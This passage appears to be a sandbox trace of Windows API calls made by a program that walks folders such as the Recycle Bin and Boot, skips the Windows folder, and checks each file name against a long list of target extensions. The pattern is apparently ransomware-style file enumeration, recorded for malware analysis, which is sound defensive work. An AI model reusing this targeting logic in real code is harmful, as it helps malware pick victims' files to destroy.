	[0036.918] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1
	[0036.918] lstrlenW (lpString="$Recycle.Bin") returned 12
	[0036.918] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1
	[0036.918] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.918] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15
	[0036.918] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e1190
	[0036.918] FindNextFileW (in: hFindFile=0x5e1190, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.919] FindNextFileW (in: hFindFile=0x5e1190, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0036.919] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0036.919] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1
	[0036.919] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46
	[0036.919] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1
	[0036.919] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3e80048
	[0036.920] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62
	[0036.920] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e90050
	[0036.920] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.920] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.920] lstrlenW (lpString="desktop.ini") returned 11
	[0036.920] lstrlenW (lpString=".1cd") returned 4
	[0036.920] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0036.920] lstrlenW (lpString=".3ds") returned 4
	[0036.920] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1
	[0036.920] lstrlenW (lpString=".3fr") returned 4
	[0036.920] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1
	[0036.920] lstrlenW (lpString=".3g2") returned 4
	[0036.920] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1
	[0036.920] lstrlenW (lpString=".3gp") returned 4
	[0036.920] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1
	[0036.920] lstrlenW (lpString=".7z") returned 3
	[0036.920] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0036.920] lstrlenW (lpString=".accda") returned 6
	[0036.920] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1
	[0036.920] lstrlenW (lpString=".accdb") returned 6
	[0036.920] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1
	[0036.920] lstrlenW (lpString=".accdc") returned 6
	[0036.920] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1
	[0036.921] lstrlenW (lpString=".accde") returned 6
	[0036.921] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1
	[0036.921] lstrlenW (lpString=".accdt") returned 6
	[0036.921] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1
	[0036.921] lstrlenW (lpString=".accdw") returned 6
	[0036.921] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1
	[0036.921] lstrlenW (lpString=".adb") returned 4
	[0036.921] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".adp") returned 4
	[0036.921] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".ai") returned 3
	[0036.921] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1
	[0036.921] lstrlenW (lpString=".ai3") returned 4
	[0036.921] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".ai4") returned 4
	[0036.921] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".ai5") returned 4
	[0036.921] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".ai6") returned 4
	[0036.921] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".ai7") returned 4
	[0036.921] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".ai8") returned 4
	[0036.921] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".anim") returned 5
	[0036.921] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1
	[0036.921] lstrlenW (lpString=".arw") returned 4
	[0036.921] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1
	[0036.921] lstrlenW (lpString=".as") returned 3
	[0036.921] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1
	[0036.921] lstrlenW (lpString=".asa") returned 4
	[0036.921] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".asc") returned 4
	[0036.922] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".ascx") returned 5
	[0036.922] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1
	[0036.922] lstrlenW (lpString=".asm") returned 4
	[0036.922] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".asmx") returned 5
	[0036.922] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1
	[0036.922] lstrlenW (lpString=".asp") returned 4
	[0036.922] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".aspx") returned 5
	[0036.922] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1
	[0036.922] lstrlenW (lpString=".asr") returned 4
	[0036.922] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".asx") returned 4
	[0036.922] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".avi") returned 4
	[0036.922] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".avs") returned 4
	[0036.922] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".backup") returned 7
	[0036.922] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1
	[0036.922] lstrlenW (lpString=".bak") returned 4
	[0036.922] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".bay") returned 4
	[0036.922] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".bd") returned 3
	[0036.922] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1
	[0036.922] lstrlenW (lpString=".bin") returned 4
	[0036.922] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".bmp") returned 4
	[0036.922] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1
	[0036.922] lstrlenW (lpString=".bz2") returned 4
	[0036.923] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".c") returned 2
	[0036.923] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1
	[0036.923] lstrlenW (lpString=".cdr") returned 4
	[0036.923] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".cer") returned 4
	[0036.923] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".cf") returned 3
	[0036.923] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1
	[0036.923] lstrlenW (lpString=".cfc") returned 4
	[0036.923] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".cfm") returned 4
	[0036.923] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".cfml") returned 5
	[0036.923] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1
	[0036.923] lstrlenW (lpString=".cfu") returned 4
	[0036.923] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".chm") returned 4
	[0036.923] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".cin") returned 4
	[0036.923] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".class") returned 6
	[0036.923] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1
	[0036.923] lstrlenW (lpString=".clx") returned 4
	[0036.923] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".config") returned 7
	[0036.923] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1
	[0036.923] lstrlenW (lpString=".cpp") returned 4
	[0036.923] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".cr2") returned 4
	[0036.923] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1
	[0036.923] lstrlenW (lpString=".crt") returned 4
	[0036.923] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".crw") returned 4
	[0036.924] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".cs") returned 3
	[0036.924] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1
	[0036.924] lstrlenW (lpString=".css") returned 4
	[0036.924] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".csv") returned 4
	[0036.924] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".cub") returned 4
	[0036.924] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".dae") returned 4
	[0036.924] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".dat") returned 4
	[0036.924] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".db") returned 3
	[0036.924] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1
	[0036.924] lstrlenW (lpString=".dbf") returned 4
	[0036.924] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0036.924] lstrlenW (lpString=".dbx") returned 4
	[0036.925] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dc3") returned 4
	[0036.925] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dcm") returned 4
	[0036.925] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dcr") returned 4
	[0036.925] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".der") returned 4
	[0036.925] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dib") returned 4
	[0036.925] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dic") returned 4
	[0036.925] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dif") returned 4
	[0036.925] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".divx") returned 5
	[0036.925] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1
	[0036.925] lstrlenW (lpString=".djvu") returned 5
	[0036.925] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1
	[0036.925] lstrlenW (lpString=".dng") returned 4
	[0036.925] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".doc") returned 4
	[0036.925] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".docm") returned 5
	[0036.925] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1
	[0036.925] lstrlenW (lpString=".docx") returned 5
	[0036.925] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0036.925] lstrlenW (lpString=".dot") returned 4
	[0036.925] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0036.925] lstrlenW (lpString=".dotm") returned 5
	[0036.925] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1
	[0036.925] lstrlenW (lpString=".dotx") returned 5
	[0036.925] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1
	[0036.925] lstrlenW (lpString=".dpx") returned 4
	[0036.926] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".dqy") returned 4
	[0036.926] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".dsn") returned 4
	[0036.926] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".dt") returned 3
	[0036.926] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0036.926] lstrlenW (lpString=".dtd") returned 4
	[0036.926] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".dwg") returned 4
	[0036.926] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".dwt") returned 4
	[0036.926] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".dx") returned 3
	[0036.926] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0036.926] lstrlenW (lpString=".dxf") returned 4
	[0036.926] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".edml") returned 5
	[0036.926] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1
	[0036.926] lstrlenW (lpString=".efd") returned 4
	[0036.926] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".elf") returned 4
	[0036.926] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".emf") returned 4
	[0036.926] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".emz") returned 4
	[0036.926] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".epf") returned 4
	[0036.926] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".eps") returned 4
	[0036.926] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0036.926] lstrlenW (lpString=".epsf") returned 5
	[0036.926] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1
	[0036.927] lstrlenW (lpString=".epsp") returned 5
	[0036.927] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1
	[0036.927] lstrlenW (lpString=".erf") returned 4
	[0036.927] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".exr") returned 4
	[0036.927] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".f4v") returned 4
	[0036.927] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".fido") returned 5
	[0036.927] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1
	[0036.927] lstrlenW (lpString=".flm") returned 4
	[0036.927] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".flv") returned 4
	[0036.927] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".frm") returned 4
	[0036.927] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".fxg") returned 4
	[0036.927] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".geo") returned 4
	[0036.927] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".gif") returned 4
	[0036.927] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".grs") returned 4
	[0036.927] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".gz") returned 3
	[0036.927] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0036.927] lstrlenW (lpString=".h") returned 2
	[0036.927] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0036.927] lstrlenW (lpString=".hdr") returned 4
	[0036.927] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".hpp") returned 4
	[0036.927] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0036.927] lstrlenW (lpString=".hta") returned 4
	[0036.928] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".htc") returned 4
	[0036.928] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".htm") returned 4
	[0036.928] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".html") returned 5
	[0036.928] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1
	[0036.928] lstrlenW (lpString=".icb") returned 4
	[0036.928] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".ics") returned 4
	[0036.928] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".iff") returned 4
	[0036.928] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".inc") returned 4
	[0036.928] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0036.928] lstrlenW (lpString=".indd") returned 5
	[0036.928] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1
	[0036.928] lstrlenW (lpString=".ini") returned 4
	[0036.928] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0036.928] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0
	[0036.928] FindClose (in: hFindFile=0x3e90050 | out: hFindFile=0x3e90050) returned 1
	[0036.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3e80048 | out: hHeap=0x4f0000) returned 1
	[0036.928] FindNextFileW (in: hFindFile=0x5e1190, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0036.928] FindClose (in: hFindFile=0x5e1190 | out: hFindFile=0x5e1190) returned 1
	[0036.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.928] FindNextFileW (in: hFindFile=0x5e1150, lpFindFileData=0x3a3fd00 | out: lpFindFileData=0x3a3fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0036.929] lstrlenW (lpString="C:\\Boot") returned 7
	[0036.929] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1
	[0036.929] lstrlenW (lpString="Boot") returned 4
	[0036.929] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1
	[0036.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3e80048
	[0036.929] lstrlenW (lpString="C:\\Boot") returned 7
	[0036.929] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e90050
	[0036.929] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.929] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0036.929] lstrlenW (lpString="BCD") returned 3
	[0036.929] lstrlenW (lpString=".1cd") returned 4
	[0036.929] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1
	[0036.929] lstrlenW (lpString=".3ds") returned 4
	[0036.929] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1
	[0036.929] lstrlenW (lpString=".3fr") returned 4
	[0036.929] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1
	[0036.929] lstrlenW (lpString=".3g2") returned 4
	[0036.929] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1
	[0036.929] lstrlenW (lpString=".3gp") returned 4
	[0036.929] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1
	[0036.929] lstrlenW (lpString=".7z") returned 3
	[0036.929] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1
	[0036.929] lstrlenW (lpString=".accda") returned 6
	[0036.930] lstrcmpiW (lpString1=".accda", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".accdb") returned 6
	[0036.930] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".accdc") returned 6
	[0036.930] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".accde") returned 6
	[0036.930] lstrcmpiW (lpString1=".accde", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".accdt") returned 6
	[0036.930] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".accdw") returned 6
	[0036.930] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".adb") returned 4
	[0036.930] lstrcmpiW (lpString1=".adb", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".adp") returned 4
	[0036.930] lstrcmpiW (lpString1=".adp", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".ai") returned 3
	[0036.930] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1
	[0036.930] lstrlenW (lpString=".ai3") returned 4
	[0036.930] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".ai4") returned 4
	[0036.930] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".ai5") returned 4
	[0036.930] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".ai6") returned 4
	[0036.930] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".ai7") returned 4
	[0036.930] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".ai8") returned 4
	[0036.930] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".anim") returned 5
	[0036.930] lstrcmpiW (lpString1=".anim", lpString2="") returned 1
	[0036.930] lstrlenW (lpString=".arw") returned 4
